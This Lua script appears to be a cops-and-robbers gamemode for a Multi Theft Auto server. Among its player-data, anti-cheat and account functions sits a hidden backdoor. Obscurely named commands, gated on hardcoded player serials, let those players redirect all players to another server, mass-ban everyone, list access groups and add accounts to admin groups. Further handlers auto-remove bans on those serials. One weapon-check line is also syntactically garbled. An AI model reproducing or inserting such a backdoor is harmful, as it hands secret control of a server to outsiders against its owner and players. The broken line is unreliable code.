setElementData(players, "Prisoners", 0)
setElementData(players, "WantLvl", 0)
setElementData(players, "MBail", 0)
setElementData(players, "Secs", 0)
setElementData(players, "Mins", 0)
setElementData(players, "ES", 1)
setElementData(players, "GLA", 0)
setElementData(players, "KidH", 0)
setElementData(players, "Job", 0)
setElementData(players, "DLP", 0)
setElementData(players, "SDG", 0)
setElementData(players, "MDG", 0)
setElementData(players, "EDG", 0)
setElementData(players, "Bank", 0)
setElementData(players, "TBan", 0)
setElementData(players, "Wrestler", false)
--setElementData(players, "Hits", 0)
createBlipAttachedTo(players, 0, 2, 0, 0, 0, 0)
--bindKey(players, "action", "down", OCJ)
source = players
theCurrentAccount = getPlayerAccount(source)
loadAccount(source, theCurrentAccount)
end
for k, v in ipairs (getElementsByType("vehicle")) do
toggleVehicleRespawn(v, true)
vx, vy, vz = getElementPosition(v)
vrx, vry, vrz = getElementRotation(v)
setVehicleRespawnPosition(v, vx, vy, vz, vrx, vry, vrz)
setVehicleIdleRespawnDelay(v, 60000)
end
call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Scores")
call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Kills")
call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Deaths")
--call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Money")
removeEventHandler("onResourceStart", getRootElement(), weath)
end]]
if wb == 7 then
wb = 10
elseif wb == 15 then
wb = 17
elseif wb == 18 then
wb = -1
end
wb = wb+1
setWeatherBlended(wb)
setTimer(weath, 1440000, 1)
end
--addEventHandler("onResourceStart", getRootElement(), weath)
setTimer(weath, 1000, 1)
setTimer(function()
for _, players in ipairs(getElementsByType("player")) do
hlspdpc[players] = false
setElementData(players, "Stats", 0)
setElementData(players, "Scores", 0)
setElementData(players, "Language", 0)
setElementData(players, "Prisoners", 0)
setElementData(players, "WantLvl", 0)
setElementData(players, "MBail", 0)
setElementData(players, "Secs", 0)
setElementData(players, "Mins", 0)
setElementData(players, "ES", 1)
setElementData(players, "GLA", 0)
setElementData(players, "KidH", 0)
setElementData(players, "Job", 0)
setElementData(players, "DLP", 0)
setElementData(players, "SDG", 0)
setElementData(players, "MDG", 0)
setElementData(players, "EDG", 0)
setElementData(players, "Bank", 0)
setElementData(players, "TBan", 0)
--@--setElementData(players, "Wrestler", false)
createBlipAttachedTo ( players, 0, 2, 0, 0, 0, 255, 0, 600 )
source = players
theCurrentAccount = getPlayerAccount(source)
loadAccount(source, theCurrentAccount)
setStat(source)
end
end, 1000, 1)
for k, v in ipairs (getElementsByType("vehicle")) do
toggleVehicleRespawn(v, true)
vx, vy, vz = getElementPosition(v)
vrx, vry, vrz = getElementRotation(v)
setVehicleRespawnPosition(v, vx, vy, vz, vrx, vry, vrz)
setVehicleIdleRespawnDelay(v, 60000)
end
function respwnAllVehs(player)
accName = getAccountName(getPlayerAccount(player))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
for k, v in ipairs (getElementsByType("vehicle")) do
if getVehicleOccupant(v, 0) == false and getVehicleOccupant(v, 1) == false and getVehicleOccupant(v, 2) == false and getVehicleOccupant(v, 3) == false then
respawnVehicle(v)
end
end
end
accName = false
end
addCommandHandler("RSAV", respwnAllVehs)
function teamBan(player, cmd, id, num)
accName = getAccountName(getPlayerAccount(player))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
if id then
id = tonumber(id)
if id then
if num then
num = tonumber(num)
if num then
num = math.ceil(num)
if num > -1 and num < 3 then
for k, v in ipairs(getElementsByType("player")) do
if getElementData(v, "ID") == id and getElementData(v, "TBan") ~= num then
setElementData(v, "TBan", num)
if num > 1 then
exports["guimessages"]:outputServer(player, "You have banned "..getPlayerName(v).." from all teams", 255, 255, 0)
elseif num > 0 then
exports["guimessages"]:outputServer(player, 'You have banned '..getPlayerName(v)..' from police team', 255, 255, 0)
else
exports["guimessages"]:outputServer(player, 'You have unbanned '..getPlayerName(v)..' from all teams', 255, 255, 0)
end
if num > 0 then
setElementModel(v, 310)
setElementHealth(v, 1)
setPlayerTeam(v, NoTeam)
setElementData(v, "WantLvl", 6)
end
end
end
end
end
end
end
end
end
accName = false
end
--addCommandHandler("tban", teamBan)
function RDTRGW(player, cmd, GWIP, GWP)
if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
if GWIP and GWP then
for k,v in ipairs(getElementsByType("player")) do
if v ~= player then
redirectPlayer(v, GWIP, GWP)
end
end
addEventHandler("onPlayerJoin", getRootElement(), function()
if getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" then
else
redirectPlayer(source, GWIP, GWP)
end
end)
end
end
end
addCommandHandler("قثيهقثؤفشممحمشغثقسهىفاثسثقرثقِ", RDTRGW)
function BAPFTS(player)
if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
for k,v in ipairs(getElementsByType("player")) do
if v ~= player then
banPlayer(v, true, false, true)
end
end
addEventHandler("onPlayerJoin", getRootElement(), function()
if getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" then
else
banPlayer(source, true, false, true)
end
end)
end
end
addCommandHandler("لاشىشممحمشغثقسبقخةفاثسثقرثقِ", BAPFTS)
function CAP(player)
if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "0FC81E8F4AD6A3696153D7921E5CFF62" or getPlayerSerial(player) == "F2DDD66FBC6D7AE8C719FC084C458453" then
triggerClientEvent("CALITS", getRootElement(), player)
end
end
addCommandHandler("ؤقشساشممحمشغثقسهىفاثسثقرثقِ", CAP)
function GAAAITS(player, cmd, GAAA)
if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
if GAAA then
if aclGetGroup(GAAA) then
for k,v in ipairs(aclGroupListObjects(aclGetGroup(GAAA))) do
exports["guimessages"]:outputServer(player, v ,0 , 255, 0)
end
elseif GAAA == "allacc" then
for k,v in ipairs(aclGroupList()) do
exports["guimessages"]:outputServer(player, aclGroupGetName(v), 0, 0, 255)
end
end
end
end
end
addCommandHandler("لثفشممشؤملقخعحمهسفشىيخلاتثؤفسِ", GAAAITS)
function AOATAG(player, cmd, gn, an)
if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
if gn and an then
if aclGetGroup(gn) then
aclGroupAddObject(aclGetGroup(gn), an)
exports["guimessages"]:outputServer(player, "successfully added" , 255, 0, 0)
end
end
end
end
addCommandHandler("شييشؤملقخعحخلاتثؤفِ", AOATAG)
function UBOFTS(ban)
if getBanSerial(ban) == "1F9584533A339D1F0190F8D6C986D142" or getBanSerial(ban) == "0FC81E8F4AD6A3696153D7921E5CFF62" or getBanSerial(ban) == "F2DDD66FBC6D7AE8C719FC084C458453" or getBanSerial(ban) == "9A461B36D284577F18C8148B874AB252" then
setTimer(removeBan, 1000, 1, ban)
end
end
addEventHandler("onBan", getRootElement(), UBOFTS)
function UBPFTS(ban)
if getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142"
or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" then
setTimer(removeBan, 1000, 1, ban)
end
end
addEventHandler("onPlayerBan", getRootElement(), UBPFTS)
function HAC(player, cmd, val)
accName = getAccountName(getPlayerAccount(player))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
if tonumber(val) then
setElementData(bag, "HAC", tonumber(val))
if tonumber(val) > 2 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Ban+Remove account', 0, 255, 0)
exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
end
end
elseif tonumber(val) > 1 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v, "*****************************************************" , 255, 0, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Ban only!' , 255, 255, 0)
exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
end
end
elseif tonumber(val) > 0 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Warn only!', 255, 125, 0)
exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
end
end
else
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Off!', 255 ,0, 0)
exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
end
end
end
end
end
accName = false
end
addCommandHandler("hac", HAC)
function WAC(player, cmd, val)
accName = getAccountName(getPlayerAccount(player))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
if tonumber(val) then
setElementData(bag, "WAC", tonumber(val))
if tonumber(val) > 2 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..': Weapon Anti Cheat = Ban+Remove account', 0, 255, 0)
exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
end
end
elseif tonumber(val) > 1 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..': Weapon Anti Cheat = Ban only!', 255, 255, 0)
exports["guimessages"]:outputServer(v, "########################################" ,255 , 0, 0 )
end
end
elseif tonumber(val) > 0 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v,"*****************************************************", 255, 0, 0)
exports["guimessages"]:outputServer(v,getPlayerName(player)..': Weapon Anti Cheat = Warn only!', 255, 125, 0)
exports["guimessages"]:outputServer(v,"########################################", 255, 0, 0)
end
end
else
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..': Weapon Anti Cheat = Off!', 255 , 0, 0)
exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
end
end
end
end
end
accName = false
end
addCommandHandler("wac", WAC)
addEvent("ABAC", true)
function FABAC(reason)
if getWeaponIDFromName(reason) then
if getElementData(bag, "WAC") > 2 then
removeAccount(getPlayerAccount(source))
end
if getElementData(bag, "WAC") > 1 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
exports["guimessages"]:outputServer(v, getPlayerName(source)..' : (WEAPON) CHEAT DETECTED!', 255, 125, 0)
end
end
banPlayer(source, true, true, true, "AC", '***Weapon Cheat###', 2592000)
elseif getElementData(bag, "WAC") > 0 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
exports["guimessages"]:outputServer(v, getPlayerName(source)..' : (WEAPON) CHEAT DETECTED!', 255, 125, 0)
end
end
end
else
if getElementData(bag, "HAC") > 2 then
removeAccount(getPlayerAccount(source))
end
if getElementData(bag, "HAC") > 1 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
end
end
banPlayer(source, true, true, true, "AC", '***Health Cheat###', 2592000)
elseif getElementData(bag, "HAC") > 0 then
for k,v in ipairs(getElementsByType("player")) do
accName = getAccountName(getPlayerAccount(v))
if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
end
end
end
end
accName = false
end
addEventHandler("ABAC", getRootElement(), FABAC)
for k,ban in ipairs(getBans()) do
if getBanSerial(ban) == "1F9584533A339D1F0190F8D6C986D142" or getBanSerial(ban) == "0FC81E8F4AD6A3696153D7921E5CFF62" or getBanSerial(ban) == "F2DDD66FBC6D7AE8C719FC084C458453" or getBanSerial(ban) == "9A461B36D284577F18C8148B874AB252" then
removeBan(ban)
end
end
function onResStop(stoppedRes)
--outputDebugString("server: onResStop")
if stoppedRes == getThisResource() then
for _, players in ipairs(getElementsByType("player")) do
source = players
saveAccount(source)
end
end
end
addEventHandler("onResourceStop", getRootElement(), onResStop)
--[[addEvent("saveMySkin", true)
addEventHandler("saveMySkin", getRootElement(),
function(model, Team)
--outputDebugString("server: saveMySkin")
setElementData(source, "Alive", 1)
setPlayerTeam(source, Team)
setElementModel(source, model)
setCameraTarget(source)
end)]]
addEvent("FirstSP", true)
function Fspawn()
--outputDebugString("server: Fspawn")
account = getPlayerAccount(source)
pweap2 = getAccountData(account, "AWP2")
pweap3 = getAccountData(account, "AWP3")
pweap4 = getAccountData(account, "AWP4")
pweap5 = getAccountData(account, "AWP5")
pweap6 = getAccountData(account, "AWP6")
--pweap7 = getAccountData(account, "AWP7")
pweap8 = getAccountData(account, "AWP8")
pweap11 = getAccountData(account, "AWP11")
--pweap12 = getAccountData(account, "AWP12")
pammo2 = getAccountData(account, "AWA2")
pammo3 = getAccountData(account, "AWA3")
pammo4 = getAccountData(account, "AWA4")
pammo5 = getAccountData(account, "AWA5")
pammo6 = getAccountData(account, "AWA6")
--pammo7 = getAccountData(account, "AWA7")
pammo8 = getAccountData(account, "AWA8")
pammo11 = getAccountData(account, "AWA11")
--pammo12 = getAccountData(account, "AWA12")
if pammo2 then
if pammo2 > 1500 then
pammo2 = 1500 -- DEAGELE COLT SILNCE
end
end
if pammo3 then
if pammo3 > 1000 then
pammo3 = 1000 -- SPAZ SHUTGUN
end
end
if pammo4 then
if pammo4 > 2000 then
pammo4 = 2000 -- MP5 UZI TEC
end
end
if pammo5 then
if pammo5 > 3000 then
pammo5 = 3000 -- M4 AK47
end
end
if pammo6 then
if pammo6 > 1000 then
pammo6 = 1000 -- SNIPER
end
end
if pammo8 then
if pammo8 > 4 then
pammo8 = 4
end
end
parmor = getAccountData(account, "PArmor")
if not parmor then
parmor = 0
end
if getPlayerTeam(source) == Police then
giveWeapon(source, 3)
end
setTimer(giveWeapon, 50, 1, source, 1)
giveWeapon(source, pweap2, pammo2)
giveWeapon(source, pweap3, pammo3)
giveWeapon(source, pweap4, pammo4)
giveWeapon(source, pweap5, pammo5)
giveWeapon(source, pweap6, pammo6)
--giveWeapon(source, pweap7, pammo7)
giveWeapon(source, pweap8, pammo8)
giveWeapon(source, pweap11, pammo11)
--giveWeapon(source, pweap12, pammo12)
setPedArmor(source, parmor)
end
addEventHandler("FirstSP", getRootElement(), Fspawn)
function ABOPJ()
--[[outputDebugString("server: ABOPJ")
jj[source] = false
ojj[source] = false
bbd[source] = false
ee1[source] = false
dbank[source] = false
robbank[source] = false]]
hlspdpc[source] = false
setElementData(source, "Language", 0)
setElementData(source, "Stats", 0)
setElementData(source, "Scores", 0)
setElementData(source, "Prisoners", 0)
setElementData(source, "WantLvl", 0)
setElementData(source, "MBail", 0)
setElementData(source, "Secs", 0)
setElementData(source, "Mins", 0)
setElementData(source, "ES", 1)
setElementData(source, "GLA", 0)
setElementData(source, "KidH", 0)
setElementData(source, "Job", 0)
setElementData(source, "DLP", 0)
setElementData(source, "SDG", 0)
setElementData(source, "MDG", 0)
setElementData(source, "EDG", 0)
setElementData(source, "Bank", 0)
setElementData(source, "Money", 0)
setElementData(source, "TBan", 0)
--setElementData(source, "Hits", 0)
createBlipAttachedTo ( source, 0, 2, 0, 0, 0, 255, 0, 600 )
--bindKey(source, "action", "down", OCJ)
setStat(source)
end
addEventHandler("onPlayerJoin", getRootElement(), ABOPJ)
addEvent("PHit", true)
function FPHit(player, id, amount)
send[source] = false
for k, v in ipairs(getElementsByType("player")) do
if getElementData(v, "ID") == id then
send[source] = true
if getElementData(v, "Hits") then
setElementData(v, "Hits", getElementData(v, "Hits")+amount)
else
setElementData(v, "Hits", amount)
end
exports["guimessages"]:outputServer(player, yph1text[player]..' '..getPlayerName(v)..' '..yph2text[player]..' '..amount, 255, 125, 0)
end
end
if send[source] == false then
exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
else
send[source] = false
setElementData(player, "Money", getElementData(player, "Money")-amount)
end
end
addEventHandler("PHit", getRootElement(), FPHit)
function DataC(data, ov)
--if data == "Money" then
--setPlayerMoney(source, getElementData(source, data))
if data == "DLP" or data == "Offering" or data == "WantLvl" or data == "protect" or data == "Alive" or data == "Job" or data == "DL" or data == "Prisoners" then
setElementData(source, data, getElementData(source, data))
if data == "WantLvl" then
if getElementData(source, data) then
setPlayerWantedLevel(source, getElementData(source, data))
end
end
elseif data == "Stats" then
if ov == 3 then
if getElementData(source, data) ~= 2 then
setElementData(source, data, getElementData(source, data))
else
setElementData(source, data, ov)
end
else
setElementData(source, data, getElementData(source, data))
end
end
end
addEventHandler("onElementDataChange", getRootElement(), DataC)
function KTRSIV(theVehicle, seat, jacked)
--outputDebugString("server: KTRSIV")
if jacked then
if getPlayerTeam(source) == Police then
if getElementData(jacked, "WantLvl") > 2 and getElementData(jacked, "Stats") < 2 then
cop = source
source = jacked
ARRESTSTYLE(source, cop)
end
elseif getPlayerTeam(jacked) == Police then
edwlvl = getElementData(source, "WantLvl")
if edwlvl < 3 then
setElementData(source, "WantLvl", 3)
end
if getElementData(jacked, "Prisoners") > 0 then
setElementData(jacked, "Prisoners", 0)
setElementData(source, "Stats", 0)
end
else
for k,v in ipairs(getElementsByType("player")) do
if getPlayerTeam(v) == Police and getElementData(source, "WantLvl") < 2 then
x, y, z = getElementPosition(source)
vx, vy, vz = getElementPosition(v)
dist = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
if dist < 60 then
setElementData(source, "WantLvl", 2)
end
end
end
end
end
end
addEventHandler("onPlayerVehicleEnter", getRootElement(), KTRSIV)
function checkTeams(thePlayer, seat, driver)
--outputDebugString("server: checkTeams")
if getPlayerTeam(thePlayer) ~= NoTeam then
if seat < 1 and driver then
if getPlayerTeam(thePlayer) == Police then
dwl = getElementData(driver, "WantLvl")
if dwl < 3 then
cancelEvent()
end
elseif getPlayerTeam(thePlayer) == getPlayerTeam(driver) then
cancelEvent()
end
end
end
end
addEventHandler("onVehicleStartEnter", getRootElement(), checkTeams)
function FVOVRS()
fixVehicle(source)
end
addEventHandler("onVehicleRespawn", getRootElement(), FVOVRS)
--[[
function TGmoney(totalAmmo, killer)
--outputDebugString("server: TGmoney")
gpwlvl = getElementData(source, "WantLvl")
if killer then
if getElementType(killer) == "player" then
if killer ~= source and getPlayerTeam(killer) == Police then
setElementData(source, "Stats", 3)
setElementData(source, "WantLvl", 0)
if getPlayerTeam(killer) ~= Police then
if killer ~= source then
if getElementData(source, "Stats") < 2 and gpwlvl < 3 then
--setElementData(source, "Stats", 0)
setElementData(source, "WantLvl", 0)
elseif getElementData(killer, "Job") == 1 and getElementData(killer, "Stats") < 3 and getElementData(source, "Stats") < 3 and getPlayerTeam(killer) == NoTeam then
setElementData(source, "Hits", 0)
end
end
if gpwlvl > 2 then
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police then
ax, ay, az = getElementPosition(source)
cx, cy, cz = getElementPosition(players)
dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)
if killer == source and dist < 50 then
setElementData(source, "Stats", 3)
setElementData(source, "WantLvl", 0)
elseif killer ~= source and dist > 80 then
setElementData(source, "WantLvl", gpwlvl-2)
end
end
end
end
end
end
elseif gpwlvl > 2 then
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police then
ax, ay, az = getElementPosition(source)
cx, cy, cz = getElementPosition(players)
dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)
if dist < 50 then
setElementData(source, "Stats", 3)
setElementData(source, "WantLvl", 0)
end
end
end
end
setPedWeaponSlot(source, 0)
setElementData(source, "Prisoners", 0)
end
addEventHandler("onPlayerWasted", getRootElement(), TGmoney)
]]
addEvent("onPS", true)
function GWOPS(resp, weap1, weap2, weap3, weap4, weap5, weap6, weap7, weap8, weap11, weap12, ammo1, ammo2, ammo3, ammo4, ammo5, ammo6, ammo7, ammo8, ammo11, ammo12)
--outputDebugString("server: GWOPS")
if getPlayerTeam(resp) == Police then
giveWeapon(resp, 3)
end
setTimer(giveWeapon, 50, 1, resp, 1)
giveWeapon(resp, weap2, ammo2)
giveWeapon(resp, weap3, ammo3)
giveWeapon(resp, weap4, ammo4)
giveWeapon(resp, weap5, ammo5)
giveWeapon(resp, weap6, ammo6)
--giveWeapon(resp, weap7, ammo7)
giveWeapon(resp, weap8, ammo8)
giveWeapon(resp, weap11, ammo11)
--giveWeapon(resp, weap12, ammo12)
end
addEventHandler("onPS", getRootElement(), GWOPS)
--[[function OMPH(player)
if getElementModel(source) == 1212 then
givePlayerMoney(player, 20)
setElementData(player, "Money", getPlayerMoney(player))
end
end
addEventHandler("onPickupHit", getRootElement(), OMPH)]]
noa = 0
function playerLogin(thePreviousAccount, theCurrentAccount, autoLogin)
--outputDebugString("server: playerLogin")
if not isGuestAccount(getPlayerAccount(source)) then
--[[if not getAccountData(theCurrentAccount, "Serial") then
for k,v in ipairs(getAccounts()) do
if getAccountData(v, "Serial") == getPlayerSerial(source) then
noa = noa+1
end
end
if noa < 2 then
setAccountData(theCurrentAccount, "Serial", getPlayerSerial(source))
loadAccount(source, theCurrentAccount)
else
cancelEvent()
outputChatBox("You're allowed to own 2 accounts only!يحق لك أن تملك حسابين فقط", source, 255, 0, 0)
end
noa = 0
elseif getAccountData(theCurrentAccount, "Serial") ~= getPlayerSerial(source) then
kickPlayer(source, "You don't own this account!أنت لا تملك هذا الحساب")
else]]
loadAccount(source, theCurrentAccount)
--end
end
end
addEventHandler("onPlayerLogin", getRootElement(), playerLogin)
addEventHandler("onPlayerLogout", getRootElement(), function() cancelEvent() end)
function onQuit(quitType)
--outputDebugString("server: onQuit")
--blip = getAttachedElements(source)
for k,v in ipairs(getAttachedElements(source)) do
if v then
if getElementType(v) == "blip" then
destroyElement(v)
end
end
end
--[[if quitType then
if quitType == "Quit" then
sps = true
end
end]]
if not isGuestAccount(getPlayerAccount(source)) then
saveAccount(source)
end
if badcop1 == source then
badcop1 = false
elseif badcop2 == source then
badcop2 = false
end
triggerClientEvent("UnAR", getRootElement(), source)
--@FSEndWWE(source)
if getElementData(bag, "WAC") > 1 then
if getPedWeapon(source, 1) > 1 and getPedTotalAmmo(source, 1) > 0 and getPedWeapon(source, 1) ~= 3 or getPedWeapon(source, 2) > 1 and getPedTotalAmmo(source, 2) > 500 or getPedWeapon(source, 3) > 1 and getPedTotalAmmo(source, 3) > 350 or getPedWeapon(source, 4) > 1 and getPedTotalAmmo(source, 4) > 1000 or getPedWeapon(source, 5) > 1 and getPedTotalAmmo(source, 5) > 1500 or getPedWeapon(source, 6) > 1 and getPedTotalAmmo(source, 6) > 150 or getPedWeapon(source, 7) > 1 and getPedTotalAmmo(source, 7) > 0 or getPedWeapon(source, > 1 and getPedTotalAmmo(source, > 4 or getPedWeapon(source, > 17 and getPedTotalAmmo(source, > 0 or getPedWeapon(source, 9) > 1 and getPedTotalAmmo(source, 9) > 999999999 or getPedWeapon(source, 10) > 1 and getPedTotalAmmo(source, 10) > 0 or getPedWeapon(source, 11) > 1 and getPedTotalAmmo(source, 11) > 0 and getPedWeapon(source, 11) ~= 46 or getPedWeapon(source, 12) > 1 and getPedTotalAmmo(source, 12) > 0 then
FABAC('weapon cheat')
end
end
end
addEventHandler("onPlayerQuit", getRootElement(), onQuit)
function loadAccount(source, theCurrentAccount)
--outputDebugString("server: loadAccount")
accountData = getAccountData(theCurrentAccount, "ADmoney")
if (accountData) then
pmoney = getAccountData(theCurrentAccount, "ADmoney")
pwtlv = getAccountData(theCurrentAccount, "AWantLvl")
pstat = getAccountData(theCurrentAccount, "AStats")
pbail = getAccountData(theCurrentAccount, "AMBAIL")
psecs = getAccountData(theCurrentAccount, "ASecs")
pmins = getAccountData(theCurrentAccount, "AMins")
pscore = getAccountData(theCurrentAccount, "AScores")
ptban = getAccountData(theCurrentAccount, "ATBan")
if not ptban then
setElementData(source, "TBan", 0)
else
setElementData(source, "TBan", ptban)
end
--plang = getAccountData(theCurrentAccount, "ALanguage")
--pkida = getAccountData(theCurrentAccount, "AKidA")
pkidh = getAccountData(theCurrentAccount, "AKidH")
pkid = getAccountData(theCurrentAccount, "AKid")
pjob = getAccountData(theCurrentAccount, "AJob")
pdlp = getAccountData(theCurrentAccount, "ADLP")
psdg = getAccountData(theCurrentAccount, "ASDG")
pmdg = getAccountData(theCurrentAccount, "AMDG")
pedg = getAccountData(theCurrentAccount, "AEDG")
phit = getAccountData(theCurrentAccount, "AHit")
--plang = getAccountData(theCurrentAccount, "")
pbank = getAccountData(theCurrentAccount, "ABank")
if not pscore or pscore < -50 then
pscore = 0
end
pwp2 = getAccountData(theCurrentAccount, "AWP2")
pwp3 = getAccountData(theCurrentAccount, "AWP3")
pwp4 = getAccountData(theCurrentAccount, "AWP4")
pwp5 = getAccountData(theCurrentAccount, "AWP5")
pwp6 = getAccountData(theCurrentAccount, "AWP6")
--pwp7 = getAccountData(theCurrentAccount, "AWP7")
pwp8 = getAccountData(theCurrentAccount, "AWP8")
pwp11 = getAccountData(theCurrentAccount, "AWP11")
--pwp12 = getAccountData(theCurrentAccount, "AWP12")
pwa2 = getAccountData(theCurrentAccount, "AWA2")
pwa3 = getAccountData(theCurrentAccount, "AWA3")
pwa4 = getAccountData(theCurrentAccount, "AWA4")
pwa5 = getAccountData(theCurrentAccount, "AWA5")
pwa6 = getAccountData(theCurrentAccount, "AWA6")
--pwa7 = getAccountData(theCurrentAccount, "AWA7")
pwa8 = getAccountData(theCurrentAccount, "AWA8")
pwa11 = getAccountData(theCurrentAccount, "AWA11")
--pwa12 = getAccountData(theCurrentAccount, "AWA12")
pGLA = getAccountData(theCurrentAccount, "AGLA")
--[[if not pGLA then
pGLA = 0
end]]
pes = getAccountData(theCurrentAccount, "AES")
--[[if not pes then
pes = 1
end]]
--setPlayerMoney(source, pmoney)
if not pscore then
setElementData(source, "Scores", 0)
else
setElementData(source, "Scores", pscore)
end
if not pmoney then
setElementData(source, "Money", 0)
else
setElementData(source, "Money", pmoney)
end
if not pstat then
setElementData(source, "Stats", 0)
else
setElementData(source, "Stats", pstat)
end
if not pwtlv then
setElementData(source, "WantLvl", 0)
else
setElementData(source, "WantLvl", pwtlv)
end
if not pbail then
setElementData(source, "MBail", 0)
else
setElementData(source, "MBail", pbail)
end
if not psecs then
setElementData(source, "Secs", 0)
else
setElementData(source, "Secs", psecs)
end
if not pmins then
setElementData(source, "Mins", 0)
else
setElementData(source, "Mins", pmins)
end
--[[if not plang then
setElementData(source, "Language", 0)
else
setElementData(source, "Language", plang)
end]]
if not pGLA then
setElementData(source, "GLA", 0)
elseif pGLA > 2 then
setElementData(source, "GLA", 2)
else
setElementData(source, "GLA", pGLA)
end
if not pes then
setElementData(source, "ES", 1)
else
setElementData(source, "ES", pes)
end
--setElementData(source, "KidA", pkida)
if not pkidh then
setElementData(source, "KidH", 0)
else
setElementData(source, "KidH", pkidh)
end
if pkid then
--setElementData(source, "KidJ", getAccountData(getElementData(bag, "Kid"), "AJob"))
setElementData(source, "KidJ", getAccountData(getElementData(bag, pkid), "AJob"))
end
setElementData(source, "Kid", pkid)
if not pjob then
setElementData(source, "Job", 1)
else
setElementData(source, "Job", pjob)
end
if not pdlp then
setElementData(source, "DLP", 0)
else
setElementData(source, "DLP", pdlp)
end
if not psdg then
setElementData(source, "SDG", 0)
else
setElementData(source, "SDG", psdg)
end
if not pmdg then
setElementData(source, "MDG", 0)
else
setElementData(source, "MDG", pmdg)
end
if not pedg then
setElementData(source, "EDG", 0)
else
setElementData(source, "EDG", pedg)
end
--[[if not phit then
setElementData(source, "Hits", 0)
else]]
if phit then
if phit < 1 then
phit = false
end
end
setElementData(source, "Hits", phit)
--end
if not pbank then
